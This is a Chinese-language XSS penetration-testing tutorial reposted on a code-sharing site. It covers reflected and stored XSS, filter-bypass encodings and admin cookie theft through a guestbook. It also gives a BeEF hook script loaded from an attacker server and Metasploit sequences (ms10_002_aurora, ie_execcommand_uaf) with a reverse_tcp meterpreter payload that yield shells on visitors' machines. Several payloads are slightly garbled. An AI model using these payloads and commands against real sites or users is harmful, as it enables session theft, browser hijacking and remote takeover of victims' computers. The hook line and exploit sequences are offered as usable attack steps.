Web滲透測試(xss漏洞)


Xss介紹——

XSS (cross-site script) 跨站腳本自1996年誕生以來,一直被OWASP(open web application security project) 評為十大安全漏洞中的第二威脅漏洞。也有黑客把XSS當做新型的“緩沖區溢出攻擊”而JavaScript是新型的shellcode20116月份,新浪微博爆發了XSS蠕蟲攻擊,僅持續16分鍾,感染用戶近33000個,危害十分嚴重。XSS最大的特點就是能注入惡意的代碼到用戶瀏覽器的網頁上,從而達到劫持用戶會話的目的。

由於web應用程序對用戶的輸入過濾不嚴產生的。攻擊者利用網站漏把惡意的腳本代碼注入到網頁中,當用戶瀏覽這些網頁時,就會執行其中的惡意代碼,對受害用戶可能采用cookie資料竊取,會話劫持,釣魚欺騙等攻擊手段。

 

危害——
網絡釣魚,包括盜取各類的用戶賬號
竊取用戶cookie
竊取用戶瀏覽請回話
強制彈出廣告頁面、刷流量
網頁掛馬
提升用戶權限,進一步滲透網站
傳播跨站腳本蠕蟲等等

 

 

Xss腳本示例——

<html>

<head >xsx test </head >

<body>

<script>alert(“xss”)</script >

</body>

</html>

這段代碼使用alert函數來執行打開一個消息框,消息框中顯示xss信息,使用xss彈出惡意警告框,代碼為:

escript>alert(“xss") </script>

XSS輸入也可能是htm代碼段,如果使網頁不停的刷新,代碼為

<meta http-equiv=”refresh” content ="0;” >

嵌入其他網站鏈接的代碼為:

< ifame src http://xxxxx.com width =0 height =0> </ifame>

 

 

Xss分類——

反射型xss(一次性)

 

存儲型xss(持久有效)

反射型:

反射型XSS腳本也稱作非持久型、參數型跨站腳本、這類型的腳本是最常見的也是使用最為廣泛的一種,主要用於將惡意的腳本附加到URL地址的參數中
如:http://www.xx.com/search.php.?key="><script>alert("xss")</script>一般使用的將構造好的URL發給受害者,是受害者點擊觸發,而且只執行一次。

 

存儲型:

存儲型XSS比反射型跨站腳本更具威脅性,並且可能影響到web服務器的自身安全。此類XSS不需要用戶點擊特定的URL就能執行腳本,攻擊者事先將惡意JavaScript代碼上傳或存儲到有漏洞服務器中,只要受害者瀏覽包含此惡意的代碼的頁面就會執行惡意代碼。

 

 

Xss常用工具——(火狐插件)

Hackebar

Live http headers

Editor cookie

 

Live HTTP Headers

該工具可以用來抓取http/https的數據連接包括get post),獲取web應用程序流出的流入的數據。我們可以利用該工具發掘web應用程序中的安全漏洞。

 

Editor cookie

Cookie信息修改器

 

 

 

 

示例:

留言板盜取cookie信息

 

 

當管理審核后,彈出及有xss漏洞

 

 

去注冊一個免費xss平台,然后創建一個項目,查看代碼,復制到留言板上

 

然后xss免費平台就會返回內容

 

 

這個就是網站管理員cookie

 

 

繞過xss限制的幾種辦法

magic_quote_gpc

HEX編碼

改變大小寫

關閉標簽

 

繞過magic_quote_gpc

magic_quotes_gpc=ONphp中的安全設置,開啟后會把一些特殊字符進行輪換,比如’(

引號)轉換為\’”(引號)號轉換為\” \轉換為\\

比如<script> alert(“xss”);</script>會轉換為<script> alert(\”xss\”);</script>這樣XSS就不生效了。針對開啟了magic quotes_gpc的網站,可以通過javascript中的String.fromCharCode方法來繞過,可以把alert(“XSS")轉換為String.fromCharCode(108,101,114,116,40 34,88,83,83,34,41)那么XSS語句就變成了<script>String.fromCharCode(108,101,114,11640,34,88,83,83,34.,41,59) </script>String.fromCharCode()javascri中的字符申方法,用來 把ASCI轉換為字符審

 

HEX編碼:

可以對語句進行hex編碼來繞過XSS規則。

比如: <script> alert("xss");</script >

可以轉換為:

%3c%73%63%72%69%70%74%61%6c965%72%74%28%22%783%73%22%29%3b%3c%2f%73%6

在線網站:

http://textmechanic.com/ASCII-Hex-Unicode-Base64-Converter.html

http://www.asciitohex.com/

 

改變大小寫:

在測試過程中,我們可以改變測試語句的大小來繞過xss規則,如<script> alert("xss");</script >可以轉換為<ScRipt> Alert("Xss");</sCripT >

 

關閉標簽:

<body><script> alert(“xss”);</script> < >

 

 

 

 

XSS+Beef的使用

示例1:利用beef劫持客戶端瀏覽器

啟動beef(用戶名beef,密碼beef

<script src="http://自己管理的服務器ip:3000/hook.js"></script>把這惡意代碼上傳到有xss漏洞的網站

 

 

當有人訪問這個網站的時候,惡意代碼生效,我們返回本機beef控制台查看上線客戶機

 

 

然后劫持瀏覽器

 

 

 

 

示例2.利用beef+msf拿用戶shell(基於客戶端ie6

先劫持瀏覽器,然后啟動msf

msf > use exploit/windows/browser/ms10_002_aurora(選擇漏洞模塊)

msf exploit(ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp(選擇回鏈)

msf exploit(ms10_002_aurora) > set SRVHOST 192.168.230.156客戶機訪問的地址

msf exploit(ms10_002_aurora) > set SRVPORT 7777客戶機訪問的端口

msf exploit(ms10_002_aurora) > set URIPATH /網頁的根/

msf exploit(ms10_002_aurora) > set LHOST 192.168.230.100客戶機回鏈,寫自己的地址

msf exploit(ms10_002_aurora) > set LPORT 4444回鏈端口

msf exploit(ms10_002_aurora) > exploit 開始攻擊

msf生成的那個連接扔beef去,讓客戶端訪問指定的網站就會觸發這個漏洞,就可以拿到客戶端權限。

 

 

回車》鍵入sessions -i sessions -i 1shell(成功拿到客戶端權限)

 

 

 

示例3.利用beef+msf拿用戶shell(基於客戶端使用ie789

先劫持瀏覽器

msf > use exploit/windows/browser/ie_execcommand_uaf

msf exploit(ie_execcommand_uaf) > show options

msf exploit(ie_execcommand_uaf) > set SRVHOST 192.168.230.156

msf exploit(ie_execcommand_uaf) > set SRVPORT 8888

msf exploit(ie_execcommand_uaf) > set URIPATH /

msf exploit(ie_execcommand_uaf) > exploit

然后把生成的這個連接扔beef里,讓客戶端訪問,msf就有返回回鏈會話,就可以拿到客戶端權限了

 

 

Xss漏洞掃描與留長期后門——

常用工具:

Wvs

Safe3

W3af

Vega

Xss掃描插件+burp(去下載掃描插件在導入就可以)

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM